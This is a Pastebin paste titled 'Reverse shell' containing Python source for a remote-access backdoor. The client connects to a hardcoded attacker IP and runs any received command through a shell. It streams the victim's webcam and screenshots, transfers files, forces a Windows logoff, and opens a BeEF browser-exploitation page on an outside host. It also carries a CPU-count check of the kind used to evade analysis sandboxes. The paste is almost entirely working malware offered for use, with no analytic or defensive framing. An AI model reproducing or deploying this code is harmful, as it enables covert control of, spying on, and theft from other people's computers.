xosski

Reverse shell

Dec 4th, 2024
6
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.14 KB | None | 0 0
  1. from json import load
  2. import socket
  3. import json
  4. import subprocess
  5. import cv2
  6. import time
  7. import pyautogui
  8. import os
  9. import numpy as np
  10. import time
  11. import ctypes
  12. import threading
  13.  
  14. port = 9999
  15. ip = '192.168.56.1'
  16.  
  17.  
  18.  
  19. def download_file(file_name):
  20. f = open(file_name,"wb")
  21. s.settimeout(1)
  22. chunk = s.recv(1024)
  23. while chunk:
  24. f.write(chunk)
  25. try:
  26. chunk = s.recv(1024)
  27. except socket.timeout as e:
  28. break
  29. s.settimeout(None)
  30. f.close()
  31.  
  32.  
  33. def upload_file(file_name):
  34. f = open(file_name,"rb")
  35. s.send(f.read())
  36.  
  37. def screenshot():
  38. image = pyautogui.screenshot()
  39. image = cv2.cvtColor(np.array(image), cv2.COLOR_RGB2BGR)
  40. cv2.imwrite("screenshot.png", image)
  41.  
  42. def connection():
  43. while True:
  44. time.sleep(5)
  45. try:
  46. s.connect((ip, port))
  47. shell()
  48. s.close()
  49. except:
  50. connection()
  51.  
  52. def reliable_send(data):
  53. jsondata = json.dumps(data)
  54. s.send(jsondata.encode())
  55.  
  56.  
  57. def reliable_recv():
  58. data = ""
  59. while True:
  60. try:
  61. data = data + s.recv(1024).decode().rstrip()
  62. return json.loads(data)
  63. except ValueError:
  64. continue
  65.  
  66. def reverse_shell():
  67. # Check if the system has sufficient CPU resources (more than 2 cores)
  68. if os.cpu_count() <= 2:
  69. print("[!] Insufficient CPU resources, exiting.")
  70. quit()
  71.  
  72. # Set up the attacker's IP address and the port for the reverse shell connection
  73. HOST = '192.168.56.1' # Replace with your attacker's IP
  74. PORT = 4444 # Port for reverse shell connection
  75.  
  76. # Create a socket and try to connect to the attacker's machine
  77. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  78. try:
  79. s.connect((HOST, PORT))
  80. s.send(str.encode("[*] Connection Established!"))
  81. except Exception as e:
  82. print(f"[!] Failed to connect to server: {e}")
  83. return
  84.  
  85. # Main loop to listen for commands from the attacker
  86. while True:
  87. try:
  88. # Send the current working directory to the attacker
  89. s.send(str.encode(os.getcwd() + "> "))
  90.  
  91. # Receive command from the attacker and decode it
  92. data = s.recv(1024).decode("UTF-8", errors='ignore').strip()
  93.  
  94. if data == "quit":
  95. break
  96. elif data[:2] == "cd":
  97. try:
  98. # Try to change the directory and send a success message
  99. os.chdir(data[3:])
  100. s.send(str.encode("[*] Directory changed successfully\n"))
  101. except FileNotFoundError as e:
  102. s.send(str.encode(f"[!] Error: {str(e)}\n"))
  103. else:
  104. try:
  105. # Execute the command and capture both stdout and stderr
  106. proc = subprocess.Popen(
  107. data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE
  108. )
  109. stdout_value, stderr_value = proc.communicate()
  110.  
  111. # Combine the output and send it back to the attacker
  112. output_str = str(stdout_value + stderr_value, "UTF-8", errors='ignore')
  113. if not output_str:
  114. output_str = "[*] No output from command."
  115. s.send(output_str.encode("UTF-8"))
  116. except Exception as e:
  117. s.send(str.encode(f"[!] Error executing command: {str(e)}\n"))
  118. except Exception as e:
  119. print(f"[!] Error in communication: {e}")
  120. continue
  121.  
  122. # Close the socket when the loop is finished
  123. s.close()
  124.  
  125. def send_frame(s, frame):
  126. try:
  127. # Encode frame to JPEG format
  128. _, img_encoded = cv2.imencode('.jpg', frame)
  129. img_bytes = img_encoded.tobytes()
  130.  
  131. # Send frame size followed by frame data
  132. s.sendall(len(img_bytes).to_bytes(4, 'big')) # Frame size
  133. s.sendall(img_bytes) # Frame bytes
  134. return True
  135. except Exception as e:
  136. print(f"[!] Error sending frame: {e}")
  137. return False
  138.  
  139. def camera_reverse_shell():
  140. HOST = '192.168.56.1' # Your machine's IP
  141. PORT = 5555 # Port for reverse shell connection
  142.  
  143. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  144. try:
  145. s.connect((HOST, PORT))
  146. except Exception as e:
  147. print(f"[!] Failed to connect to server for camera stream: {e}")
  148. return
  149.  
  150. cap = cv2.VideoCapture(0)
  151. if not cap.isOpened():
  152. s.sendall(b"[!] Failed to access camera")
  153. return
  154.  
  155. try:
  156. while True:
  157. ret, frame = cap.read()
  158. if not ret:
  159. print("[!] Failed to capture frame, stopping...")
  160. break
  161. # Send the frame
  162. if not send_frame(s, frame):
  163. print("[!] Frame sending failed, stopping stream.")
  164. break
  165. time.sleep(0.05) # Add delay to manage frame rate
  166. finally:
  167. cap.release()
  168. s.close()
  169.  
  170. def send_screenshot(s, frame):
  171. try:
  172. # Encode frame to JPEG format
  173. _, img_encoded = cv2.imencode('.jpg', frame)
  174. img_bytes = img_encoded.tobytes()
  175.  
  176. # Send frame size followed by frame data
  177. s.sendall(len(img_bytes).to_bytes(4, 'big')) # Frame size
  178. s.sendall(img_bytes) # Frame bytes
  179. return True
  180. except Exception as e:
  181. print(f"[!] Error sending frame: {e}")
  182. return False
  183.  
  184. def screenshot_reverse_shell():
  185. HOST = '192.168.56.1' # Your machine's IP
  186. PORT = 5555 # Port for reverse shell connection
  187.  
  188. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  189. try:
  190. s.connect((HOST, PORT))
  191. except Exception as e:
  192. print(f"[!] Failed to connect to server for screenshot: {e}")
  193. return
  194.  
  195. try:
  196. while True:
  197. # Capture a screenshot of the screen
  198. screenshot = pyautogui.screenshot()
  199.  
  200. # Convert screenshot to a format that OpenCV can handle (numpy array)
  201. frame = cv2.cvtColor(np.array(screenshot), cv2.COLOR_RGB2BGR)
  202.  
  203. # Send the screenshot frame just like the camera frame
  204. if not send_screenshot(s, frame):
  205. print("[!] Frame sending failed, stopping screenshot capture.")
  206. break
  207.  
  208. time.sleep(2) # Adjust the delay to suit your needs (2 seconds here)
  209. finally:
  210. s.close()
  211.  
  212.  
  213. def shell():
  214. while True:
  215. command = reliable_recv()
  216. if command == "quit":
  217. break
  218. elif command =="camera":
  219. threading.Thread(target=camera_reverse_shell, daemon=True).start()
  220. elif command =="beef server":
  221. cmd = "start https://172-105-251-108.ip.linodeusercontent.com:3000/demos/butcher/index.html"
  222. pl = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  223. pl.wait()
  224. elif command == "vypnut":
  225. ctypes.windll.user32.MessageBoxW(0, "The system will log off in 1 minute.", "Shutdown Warning", 1)
  226. time.sleep(5)
  227. os.system('shutdown /l')
  228. elif command == "screenshot":
  229. threading.Thread(target=screenshot_reverse_shell, daemon=True).start()
  230. elif command == "shell":
  231. threading.Thread(target=reverse_shell, daemon=True).start()
  232. elif command =='help':
  233. pass
  234. elif command =="clear":
  235. pass
  236. elif command[:6] == "upload":
  237. download_file(command[:7])
  238. elif command =="screen":
  239. screenshot()
  240. upload_file('screenshot.png')
  241. #os.remove('screen.png')
  242. else:
  243. execute = subprocess.Popen(command, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE )
  244. result = execute.stdout.read() + execute.stderr.read()
  245. result = result.decode()
  246. reliable_send(result)
  247.  
  248. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  249. s.connect((ip,port))
  250. shell()
Add Comment
Please, Sign In to add comment